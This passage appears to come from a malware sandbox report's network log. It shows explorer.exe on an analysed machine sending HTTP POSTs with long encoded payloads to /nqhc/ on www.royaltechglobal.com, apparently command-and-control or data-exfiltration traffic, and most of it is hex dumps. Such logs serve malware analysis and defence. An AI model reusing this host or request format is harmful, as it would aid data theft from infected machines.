1-/uNg&kkZP&5H/qM_d(^#$1\;ETKw?5`tXnD&ZTk\|+:J!v?~9w~I8?Ef>Wz,\|9,^PrJ(M)iyUd'_d?=EA.5B8jB3M`[\df2$>n]e5ZF'iw(O`dhIy\-gycs[L&[/peYP{(0 ;~;?y;W\$5M4N,Iq3/8}N qR/HTG68REn]^mfwS)/,-vwgHg&kkm4cab2a&%&I)r^$2NI\R1lTq@kvCkC"!#YQiL,P+2#H
Nov 21, 2022 19:24:01.441091061 CET	1685	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f be d7 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|'q)suBFD<uomZe~{:<MC5^dUQ,@f~h8LNx!,0ho!95oFTvb"t(@M]&.CS~s{a%IF.zy%W+6lcmre~=DV
Nov 21, 2022 19:24:01.441180944 CET	1687	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba df 44 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$EDHk~oLo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Nov 21, 2022 19:24:01.441247940 CET	1688	IN	Data Raw: 2c 70 7b 0c 52 1e 97 90 b6 2c ab 78 e3 20 e8 bb 69 af f6 40 59 f6 c8 2a 32 66 dc b0 40 96 62 59 cc 96 55 73 86 f6 28 8c 82 3f 0a a6 20 76 ad d3 d6 92 98 db e9 2c a7 71 cc 44 b2 f0 78 29 72 d3 6b 6f 5e 97 14 17 96 ab d6 0c 89 a6 c0 92 d4 94 10 1f Data Ascii: ,p{R,x i@Y2f@bYUs(? v,qDx)rko^iSD3(2,5=E4gr&P.a#Qc)Dq@b})99CD@{jTujCb6S=-9gHrzH`AuvuB6BDB=t6vtM/8()
Nov 21, 2022 19:24:01.441433907 CET	1689	IN	Data Raw: d7 3e d9 90 72 82 29 5d af 79 64 53 6e 7b 93 14 14 ec 7b 4c a3 10 53 59 18 77 c4 e1 fa e0 26 a1 b9 1d a8 6b 73 42 19 4f c9 4a 86 9c 90 21 f1 28 67 89 e0 30 32 37 18 a1 68 61 7b 3e cb 50 4f 26 5c 26 38 c3 b5 6b 43 15 be 34 ef 84 41 c4 38 ca a3 e0 Data Ascii: >r)]ydSn{{LSYw&ksBOJ!(g027ha{>PO&\&8kC4A8%Hk4@P7ue#0<aY.bl~~$6"IWj]/.Xmf!];aI{dLNrrpr28ppl`+Z6p}3GN{~\f =R
Nov 21, 2022 19:24:01.441529036 CET	1691	IN	Data Raw: ca ca 1f 3e a2 87 17 9c 86 87 af 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 df d2 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d Data Ascii: >Euu1^(ejKVm:oVuivuYb:nu9*/GWrR]Ni=b\sKT[AP~NjD~i`Z3m0Xi?;T{F24~_PY<H@i{BSR.e/"rS^s)b0+Ja{?13_9HS->B%ic
Nov 21, 2022 19:24:01.441591978 CET	1692	IN	Data Raw: 5a ef 91 0c 62 46 07 7b 94 f3 3d e2 0f 77 fb 9c 89 2b 82 3b 19 ec 69 74 3a e8 14 c0 ec 11 16 0f f6 c6 13 37 a6 ea ca 0d b9 8c ae dc f2 d5 2d 21 52 05 a3 c1 5e 6a 4c de f3 7d 25 a7 94 1b 88 d2 84 cb 90 72 2f 92 99 3f c9 dd 48 0a 03 c2 f8 26 85 0c Data Ascii: ZbF{=w+;it:7-!R^jL}%r/?H&_cTk02KX/@7=R%`"W;,w\|CRm3/Y(J,z8Bp7&&?DG@*bwrTs9pvK)rk Jmd2x4
Nov 21, 2022 19:24:01.441657066 CET	1693	IN	Data Raw: e3 a3 ee e7 f7 b7 77 8c b8 9d e3 66 b7 ec d3 c6 8e ad 15 0e 4b 38 cf 36 e0 04 75 47 7f 8d 3a 73 c9 d0 34 40 98 68 0d 9c 0b 59 a8 08 be 57 34 4f 59 e4 10 99 83 a2 46 aa 81 c3 44 0d 53 8a 87 87 ca 32 d6 d6 c3 3e 7e 91 eb 8c 0b ec 97 1a 93 f7 7c 7f Data Ascii: wfK86uG:s4@hYW4OYFDS2>~\|2x'UM3<VC&,6iiX8QgD^Lqfs#rpPK^8#FGSgDA"jj23!*UbFlNmmi+;`
Nov 21, 2022 19:24:01.441745996 CET	1695	IN	Data Raw: f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 0c 7f 90 19 f4 7d 8a 3b e0 6c b8 bb 86 d6 d1 e3 b4 72 a9 cd a5 3d dd 67 96 d3 64 39 8a 68 5b f1 f2 69 28 0b e3 16 da 77 86 cf ec 91 fc a2 37 b2 3c fe ac 2c 8f b7 64 19 49 61 68 54 f3 3c af 2e 8f 31 Data Ascii: \|_)42d};lr=gd9h[i(w7<,dIahT<.1=LOd1h</H^\|#2WlL)VpMJ"?WsX/8c63OTG7,oGA22:!AH!O.c.mtbD5Q4}636r\E"c6{h
Nov 21, 2022 19:24:01.441827059 CET	1696	IN	Data Raw: 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 5e d1 cf 40 aa 53 8a 95 2b c6 3f 1d ab 5d b1 42 87 df c5 42 d7 f6 7d 5d fa 19 2f 7d 1d 29 96 1b 62 a6 39 1a dd c0 b5 f1 df d3 31 ad a2 ce 70 d7 ff 1b e9 3f f9 ed fc db 67 6f 9f fd 46 fe e6 ef Data Ascii: ;`YCUP>k^@S+?]BB}]/})b91p?goFYr3J2 0/8>q,6CvwfxDyJEyATs@'#^`lMC;Jl`B~}hCK1K0
Nov 21, 2022 19:24:01.556124926 CET	1697	IN	Data Raw: 2e 9f e5 67 a1 db 74 86 b8 83 52 f0 99 de 93 c9 c4 1b 4f d0 14 19 e8 52 ec ea e8 8f 14 80 1b 53 75 e5 4e a4 8a 73 05 5a bb e5 93 4f 0c 55 09 98 c1 de 65 c8 a9 b8 da 1b 7e 8b 59 e4 57 cc fa d9 66 91 b7 36 ab 54 ff f9 94 fc fd d7 f2 8a db c8 ef 73 Data Ascii: .gtRORSuNsZOUe~YWf6Tstq(6&#r)*%'.-s\|\@hk;c\| {X,;._~eGdrC4%cZE"LT.v1Q7>SE\P2 7f~Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.11.20	49891	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:03.281064034 CET	1698	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 75 34 68 51 4a 64 38 2d 39 54 56 5a 68 79 4b 2d 33 72 7e 65 45 2d 58 73 71 58 4a 44 4e 68 62 39 41 35 73 68 58 6d 28 6a 67 4c 6b 4b 61 64 49 32 6f 6a 35 38 68 48 49 70 68 53 72 4a 34 42 41 77 70 47 6b 6a 75 71 7e 5a 51 5a 45 31 79 6b 36 42 6e 37 78 6d 4f 38 44 4f 6b 33 6b 36 51 6c 67 52 30 45 67 38 7a 37 59 4f 7a 54 75 7a 6d 36 45 79 66 72 44 39 4d 63 70 34 48 46 61 74 45 4d 4f 53 47 38 4a 4f 47 57 42 71 53 51 66 59 65 4d 30 34 32 48 71 50 59 32 44 48 37 4d 44 61 34 4d 63 2d 53 70 74 70 7e 63 74 4d 51 72 6c 4f 75 49 72 64 66 55 4e 65 36 30 32 61 54 4d 79 75 7a 54 28 39 4a 33 54 45 70 31 78 71 62 79 44 74 28 52 70 6f 5a 34 7e 48 63 38 52 64 52 6d 34 57 4d 39 4a 69 61 7a 30 4d 43 50 6f 33 6a 39 42 77 7e 61 77 56 76 53 6d 55 6f 36 52 7a 32 2d 67 54 53 46 37 46 72 71 57 51 55 46 72 6d 43 44 54 30 34 41 36 64 28 44 31 6a 54 47 36 4a 65 4c 6a 4d 41 59 4a 59 31 6c 37 63 67 7a 62 74 4c 47 67 72 51 30 63 76 43 44 68 6a 32 68 57 62 4c 42 72 2d 6d 45 4a 44 70 4b 4c 65 73 50 66 48 38 4c 74 55 4a 66 71 70 33 61 4b 6e 42 4a 49 68 28 4f 66 6a 48 55 7e 50 75 50 66 69 44 4f 34 52 73 49 43 45 34 64 63 49 4f 51 51 57 4d 48 54 62 31 78 5a 46 4e 63 72 33 37 72 4b 53 7a 35 41 4e 53 58 37 7a 46 66 6e 36 6b 59 33 64 58 77 51 53 6e 7a 7a 51 63 59 62 57 4d 77 62 58 28 77 6c 33 57 35 6c 63 76 53 35 35 51 79 43 31 5a 77 6a 54 64 43 48 5f 4d 55 48 56 6d 70 62 6e 43 53 70 6e 39 48 55 63 36 33 43 61 4e 53 4e 46 4b 54 53 34 77 42 66 73 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hu4hQJd8-9TVZhyK-3r~eE-XsqXJDNhb9A5shXm(jgLkKadI2oj58hHIphSrJ4BAwpGkjuq~ZQZE1yk6Bn7xmO8DOk3k6QlgR0Eg8z7YOzTuzm6EyfrD9Mcp4HFatEMOSG8JOGWBqSQfYeM042HqPY2DH7MDa4Mc-Sptp~ctMQrlOuIrdfUNe602aTMyuzT(9J3TEp1xqbyDt(RpoZ4~Hc8RdRm4WM9Jiaz0MCPo3j9Bw~awVvSmUo6Rz2-gTSF7FrqWQUFrmCDT04A6d(D1jTG6JeLjMAYJY1l7cgzbtLGgrQ0cvCDhj2hWbLBr-mEJDpKLesPfH8LtUJfqp3aKnBJIh(OfjHU~PuPfiDO4RsICE4dcIOQQWMHTb1xZFNcr37rKSz5ANSX7zFfn6kY3dXwQSnzzQcYbWMwbX(wl3W5lcvS55QyC1ZwjTdCH_MUHVmpbnCSpn9HUc63CaNSNFKTS4wBfso.
Nov 21, 2022 19:24:03.600155115 CET	1699	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:03 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13045 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a a2 5f 3b 55 77 6f da 22 67 7a ba 57 af 5e bd fa 4f be 7d 7d fe f6 1f 3f bf 20 a9 c9 f8 70 77 b7 6f 7f 49 cc d4 c0 e1 46 39 84 53 91 0c 1c 10 ee 2f 17 ce ee 4e ae 60 c4 ae 07 8e 4c 7a 58 60 72 dd f3 7d 99 e4 5e 06 be d0 4f 1d 82 00 3b fd 14 68 3c dc dd 21 64 a7 9f 81 a1 24 4a a9 d2 60 06 ce 2f 6f bf 73 4f 9c e5 27 41 33 18 38 63 06 93 5c 2a e3 90 48 0a 03 02 53 27 2c 36 e9 20 86 31 8b c0 2d 2f 75 dd ee ce 4e ff 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b d2 f1 5a de b1 17 10 97 50 26 35 48 2f 92 19 71 dd a1 4d 5f ea a4 64 28 8d 5e ea 23 24 13 31 5c 3b c4 bf 9b 9a 80 00 45 8d 54 4b d9 77 9a ee 3f fb f1 35 fe 1e cc bb cf 60 74 a4 58 6e 88 99 e6 08 44 f3 9c b3 88 1a 26 85 cf e3 c3 f7 5a 0a 84 e4 54 6b 7c 2b c9 ba 3a 4a 21 a3 76 c2 9d 9d 1b e7 3f ca 7e d7 c6 e9 39 95 c6 ef fc 77 7e 95 e2 49 95 38 0d e7 3f 12 45 f3 d4 e9 fd 86 c9 b6 09 66 3e 57 a8 7a a4 8a 2c 7c c9 b4 b1 39 2c 5e 01 50 72 4a b9 81 28 4d b8 0c 29 b7 02 bd f3 c5 1f 69 f4 ce 7f 1a ce 8b 79 55 cc 0c 64 16 e7 05 87 0c 27 5f e9 64 e3 3f e2 fb b6 3d 9e f2 45 41 2e 35 b3 42 38 bd a0 6a e2 f4 16 c0 bf 42 f8 33 4d 60 5b 5c cc b3 9b c2 c4 1f 64 66 ab 0a c5 b7 a8 ba c5 32 14 b7 24 b4 ad 3e f3 09 6e 1b 1f af c3 5d ac 65 35 5a 9f ac 46 85 be d0 e4 27 69 c8 77 b2 10 f1 b6 c2 d4 00 28 4f ae 60 cc 64 a1 b7 93 68 49 9c df 97 e5 79 ad 12 2a d8 9f a5 ef b7 b6 8a 5c 2d aa 67 79 63 73 c9 5b 4c 26 df 97 d9 5b 2f bb e1 70 99 c8 65 59 7f cc 50 d4 d7 e1 7b 88 cc b6 28 93 dc 8d a4 30 20 cc 3b bf c8 b9 a4 b1 7e e7 b7 9a ad d6 3b 3f 08 de f9 91 92 79 0e b1 fb 12 3b bd a2 57 ca 0d bc 5c 24 1f 35 b2 85 c0 c2 09 8b 4d 8a a6 e8 34 1b 4e 0a 2c 49 8d d3 eb b4 71 33 cc 92 2f a7 f9 38 e8 db e5 05 7d 94 c1 9e 4e 20 cc ab aa 0f 71 15 52 17 2f a9 48 8a 92 bf 03 c2 fd e5 c2 06 f5 cf 54 99 d7 a3 ed 47 c2 f6 9a 19 b0 36 0d 15 d0 38 52 45 16 6e 5d 5e cf b0 a8 b4 de bd a7 ca 85 6d b0 ed fa 66 84 b6 77 e4 06 53 af 15 29 2f 2c cd 14 d4 c7 2d 1e c7 fb fd 76 77 67 a7 ef eb 48 b1 dc 0c ed f9 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b e2 ba c3 dd dd dd ea e9 6d ca 34 b1 63 11 fc 95 b9 61 19 fb 13 62 32 61 26 25 26 05 f2 0f 49 b5 29 ab 72 5e 24 08 32 0e 4e bd a0 49 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$_;Uwo"gzW^O}}? pwoIF9S/N`LzX`r}^O;h<!d$J`/osO'A38c\HS',6 1-/uNg&kkZP&5H/qM_d(^#$1\;ETKw?5`tXnD&ZTk\|+:J!v?~9w~I8?Ef>Wz,\|9,^PrJ(M)iyUd'_d?=EA.5B8jB3M`[\df2$>n]e5ZF'iw(O`dhIy\-gycs[L&[/peYP{(0 ;~;?y;W\$5M4N,Iq3/8}N qR/HTG68REn]^mfwS)/,-vwgHg&kkm4cab2a&%&I)r^$2NI\R1lTq@kvCkC"!#YQiL,P+2#H
Nov 21, 2022 19:24:03.600241899 CET	1701	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f be d7 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|'q)suBFD<uomZe~{:<MC5^dUQ,@f~h8LNx!,0ho!95oFTvb"t(@M]&.CS~s{a%IF.zy%W+6lcmre~=DV
Nov 21, 2022 19:24:03.600327015 CET	1702	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba df 44 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$EDHk~oLo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Nov 21, 2022 19:24:03.600434065 CET	1703	IN	Data Raw: 2c 70 7b 0c 52 1e 97 90 b6 2c ab 78 e3 20 e8 bb 69 af f6 40 59 f6 c8 2a 32 66 dc b0 40 96 62 59 cc 96 55 73 86 f6 28 8c 82 3f 0a a6 20 76 ad d3 d6 92 98 db e9 2c a7 71 cc 44 b2 f0 78 29 72 d3 6b 6f 5e 97 14 17 96 ab d6 0c 89 a6 c0 92 d4 94 10 1f Data Ascii: ,p{R,x i@Y2f@bYUs(? v,qDx)rko^iSD3(2,5=E4gr&P.a#Qc)Dq@b})99CD@{jTujCb6S=-9gHrzH`AuvuB6BDB=t6vtM/8()
Nov 21, 2022 19:24:03.600559950 CET	1705	IN	Data Raw: d7 3e d9 90 72 82 29 5d af 79 64 53 6e 7b 93 14 14 ec 7b 4c a3 10 53 59 18 77 c4 e1 fa e0 26 a1 b9 1d a8 6b 73 42 19 4f c9 4a 86 9c 90 21 f1 28 67 89 e0 30 32 37 18 a1 68 61 7b 3e cb 50 4f 26 5c 26 38 c3 b5 6b 43 15 be 34 ef 84 41 c4 38 ca a3 e0 Data Ascii: >r)]ydSn{{LSYw&ksBOJ!(g027ha{>PO&\&8kC4A8%Hk4@P7ue#0<aY.bl~~$6"IWj]/.Xmf!];aI{dLNrrpr28ppl`+Z6p}3GN{~\f =R
Nov 21, 2022 19:24:03.600680113 CET	1706	IN	Data Raw: ca ca 1f 3e a2 87 17 9c 86 87 af 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 df d2 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d Data Ascii: >Euu1^(ejKVm:oVuivuYb:nu9*/GWrR]Ni=b\sKT[AP~NjD~i`Z3m0Xi?;T{F24~_PY<H@i{BSR.e/"rS^s)b0+Ja{?13_9HS->B%ic
Nov 21, 2022 19:24:03.600797892 CET	1707	IN	Data Raw: 5a ef 91 0c 62 46 07 7b 94 f3 3d e2 0f 77 fb 9c 89 2b 82 3b 19 ec 69 74 3a e8 14 c0 ec 11 16 0f f6 c6 13 37 a6 ea ca 0d b9 8c ae dc f2 d5 2d 21 52 05 a3 c1 5e 6a 4c de f3 7d 25 a7 94 1b 88 d2 84 cb 90 72 2f 92 99 3f c9 dd 48 0a 03 c2 f8 26 85 0c Data Ascii: ZbF{=w+;it:7-!R^jL}%r/?H&_cTk02KX/@7=R%`"W;,w\|CRm3/Y(J,z8Bp7&&?DG@*bwrTs9pvK)rk Jmd2x4
Nov 21, 2022 19:24:03.600891113 CET	1709	IN	Data Raw: e3 a3 ee e7 f7 b7 77 8c b8 9d e3 66 b7 ec d3 c6 8e ad 15 0e 4b 38 cf 36 e0 04 75 47 7f 8d 3a 73 c9 d0 34 40 98 68 0d 9c 0b 59 a8 08 be 57 34 4f 59 e4 10 99 83 a2 46 aa 81 c3 44 0d 53 8a 87 87 ca 32 d6 d6 c3 3e 7e 91 eb 8c 0b ec 97 1a 93 f7 7c 7f Data Ascii: wfK86uG:s4@hYW4OYFDS2>~\|2x'UM3<VC&,6iiX8QgD^Lqfs#rpPK^8#FGSgDA"jj23!*UbFlNmmi+;`
Nov 21, 2022 19:24:03.600958109 CET	1710	IN	Data Raw: f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 0c 7f 90 19 f4 7d 8a 3b e0 6c b8 bb 86 d6 d1 e3 b4 72 a9 cd a5 3d dd 67 96 d3 64 39 8a 68 5b f1 f2 69 28 0b e3 16 da 77 86 cf ec 91 fc a2 37 b2 3c fe ac 2c 8f b7 64 19 49 61 68 54 f3 3c af 2e 8f 31 Data Ascii: \|_)42d};lr=gd9h[i(w7<,dIahT<.1=LOd1h</H^\|#2WlL)VpMJ"?WsX/8c63OTG7,oGA22:!AH!O.c.mtbD5Q4}636r\E"c6{h
Nov 21, 2022 19:24:03.601020098 CET	1711	IN	Data Raw: 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 5e d1 cf 40 aa 53 8a 95 2b c6 3f 1d ab 5d b1 42 87 df c5 42 d7 f6 7d 5d fa 19 2f 7d 1d 29 96 1b 62 a6 39 1a dd c0 b5 f1 df d3 31 ad a2 ce 70 d7 ff 1b e9 3f f9 ed fc db 67 6f 9f fd 46 fe e6 ef Data Ascii: ;`YCUP>k^@S+?]BB}]/})b91p?goFYr3J2 0/8>q,6CvwfxDyJEyATs@'#^`lMC;Jl`B~}hCK1K0
Nov 21, 2022 19:24:03.717432022 CET	1712	IN	Data Raw: 2e 9f e5 67 a1 db 74 86 b8 83 52 f0 99 de 93 c9 c4 1b 4f d0 14 19 e8 52 ec ea e8 8f 14 80 1b 53 75 e5 4e a4 8a 73 05 5a bb e5 93 4f 0c 55 09 98 c1 de 65 c8 a9 b8 da 1b 7e 8b 59 e4 57 cc fa d9 66 91 b7 36 ab 54 ff f9 94 fc fd d7 f2 8a db c8 ef 73 Data Ascii: .gtRORSuNsZOUe~YWf6Tstq(6&#r)*%'.-s\|\@hk;c\| {X,;._~eGdrC4%cZE"LT.v1Q7>SE\P2 7f~Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.11.20	49892	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:05.414607048 CET	1719	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 6d 34 68 69 42 64 39 5a 52 54 61 35 68 79 4a 2d 33 71 7e 65 45 5a 58 6f 4f 54 4a 44 51 63 62 5f 49 35 74 32 7a 6d 28 51 49 4c 79 61 61 41 48 57 6f 68 6f 73 67 45 49 70 39 4f 72 4a 39 38 48 44 31 47 6c 67 32 71 70 65 45 65 48 6c 79 59 36 42 6e 33 6d 32 4f 30 44 50 51 6e 6b 36 4d 6c 67 53 41 45 76 76 62 37 61 64 62 54 30 7a 6d 35 52 69 65 72 4e 64 4e 6b 70 34 44 52 61 74 45 79 4f 51 71 38 4a 4f 6d 57 43 74 7e 58 52 59 65 4d 33 34 32 49 75 50 45 36 44 47 58 45 44 61 4d 4d 63 2d 36 70 74 4a 7e 63 6f 74 51 73 78 2d 75 4b 76 64 65 63 65 4f 6d 43 32 61 58 69 79 76 48 54 7e 4e 64 33 53 7a 46 31 39 76 37 79 64 64 28 50 6d 49 5a 6e 78 6e 63 67 52 62 78 51 34 57 73 4c 4a 6c 61 7a 30 74 69 50 75 53 50 2d 43 51 7e 63 28 31 76 48 77 6b 6b 32 52 77 66 6e 67 54 54 65 37 45 66 71 57 6a 63 46 73 6a 69 41 51 6b 34 48 76 4e 28 53 37 44 66 32 36 4a 44 47 6a 4e 6f 79 4a 62 5a 6c 37 38 67 7a 4c 63 4c 42 71 62 51 7a 44 66 43 64 7e 7a 32 50 57 62 48 33 72 5f 79 2d 4a 54 46 4b 4e 75 38 50 49 6e 38 49 72 30 4a 62 77 5a 32 51 4f 6e 42 4a 49 68 7a 77 66 69 37 55 7e 64 75 50 4f 43 7a 4f 39 43 45 49 46 30 34 62 63 49 50 65 51 57 77 4b 54 62 4e 66 5a 45 38 4a 72 78 6a 72 4c 48 66 35 42 4f 4b 55 72 7a 45 30 6a 36 6b 4c 7a 64 54 6a 51 53 72 72 7a 51 4d 49 62 6b 49 77 61 58 76 77 68 33 57 36 33 4d 76 56 70 5a 51 6f 50 56 46 57 6a 54 42 38 48 5f 4a 4a 48 58 6d 70 65 47 6a 57 35 6d 31 4e 41 75 69 42 4d 4e 6b 62 44 33 71 69 44 34 55 79 42 72 62 56 38 65 36 6b 55 61 49 30 37 47 68 61 46 58 4b 6f 49 48 57 72 58 44 37 62 54 6e 65 57 54 34 42 76 66 57 46 76 79 42 75 73 50 4d 64 74 57 53 44 42 38 6c 48 32 56 46 6c 74 7e 67 42 75 59 70 6e 53 7a 46 72 68 47 38 76 43 54 72 36 50 66 33 76 36 4a 30 76 39 69 41 32 37 39 6f 33 56 57 54 4e 4f 64 72 6a 43 34 72 64 6d 55 47 30 38 4d 59 4b 76 73 75 51 48 6e 30 74 39 35 2d 45 38 57 51 45 5a 5a 39 6b 48 45 6f 41 6e 56 68 54 73 56 6e 69 52 37 37 72 45 58 42 45 56 4a 52 65 76 52 63 4c 33 58 61 58 31 39 4a 39 4e 36 53 4e 4f 74 6a 38 68 71 2d 4f 38 5a 64 6d 48 38 4c 79 59 4b 73 77 76 4a 50 61 72 46 73 45 50 6f 64 37 44 71 6c 58 73 36 6e 4d 38 39 77 45 4a 62 6a 36 36 77 42 61 33 49 4c 37 73 35 34 4b 66 71 36 4b 69 31 32 73 37 63 31 74 55 73 51 51 4c 48 4c 4e 71 36 67 7a 61 43 4c 66 55 39 6d 4e 45 75 45 52 55 5a 5a 4e 50 30 76 36 73 32 50 43 46 51 55 59 41 63 6c 36 4e 58 65 6a 41 4b 67 34 72 75 42 63 34 50 51 28 37 36 45 59 52 41 39 56 65 36 66 34 58 49 4a 74 56 48 34 7a 6f 55 37 61 49 28 39 76 4d 28 39 34 72 71 2d 49 70 65 72 42 6d 50 7a 31 4d 4b 65 54 67 71 68 62 76 55 64 31 38 4b 46 71 79 4e 52 64 51 46 6a 76 50 4e 7a 47 56 44 32 36 32 45 30 48 7a 32 5a 75 49 30 43 37 64 63 41 4b 49 78 68 30 56 30 53 55 77 6c 58 78 4d 36 42 6c 75 33 48 4a 51 7e 33 71 76 72 46 4a 32 50 73 4f 51 4b 56 4b 45 38 54 69 33 57 62 46 48 74 39 58 52 7a 2d 39 33 79 2d 6c 6e 75 46 30 4e 63 64 54 64 47 6c 4e 78 55 5a 32 49 76 58 74 66 4f 58 28 4d 28 62 70 61 66 76 32 35 39 64 57 79 4e 45 70 62 68 77 63 68 54 5f 28 74 43 72 4a 35 67 44 36 47 42 37 67 4c 44 2d 4f 5f 73 4c 72 37 65 4f 39 43 56 52 5a 37 36 4c 69 67 52 31 46 43 4f 53 59 56 48 71 75 59 54 38 58 5a 32 39 42 72 42 58 47 42 4a 30 34 30 48 47 77 4b 6a 5f 47 52 45 6b 70 63 5a 53 28 56 6f 6e 7a 66 6f 4e 39 55 7e 6a 79 6f 6f 42 62 5f 54 6a 4a 67 63 77 62 77 30 7a 63 68 7a 5a 73 41 73 65 74 2d 71 34 59 79 7e 33 65 41 72 48 6b 56 51 76 6a 65 45 4c 76 4f 71 68 47 4c 6a 4b 50 45 4c 35 73 37 67 30 47 6f 6d 2d 51 4d 66 44 50 38 41 51 6d 67 73 4b 66 51 6f 36 32 65 68 76 7e 75 56 43 7a 77 58 55 62 68 6a 78 69 68 6a 67 6e 6f 5a 58 4f 31 79 31 6a 43 4a 43 4d 46 5a 55 7a 71 52 39 71 6f 4f 42 37 32 53 59 4e 62 6d 69 47 56 38 33 7a 36 43 52 48 6e 62 58 4e 47 51 54 4e 37 4f 48 76 6a 70 58 31 55 61 76 30 31 48 30 55 64 28 4d 77 6e 76 6e 39 47 30 45 57 6d 64 33 47 35 33 59 44 50 41 63 34 51 73 4a 4f 34 30 55 48 45 77 69 53 56 43 44 37 68 61 42 77 76 4e 70 36 45 31 58 49 6e 71 73 72 36 50 6a 61 44 69 61 59 56 6f 4b 75 71 79 77 39 50 7e 63 31 7a 6e 37 4a 69 31 4a 46 75 58 Data Ascii: 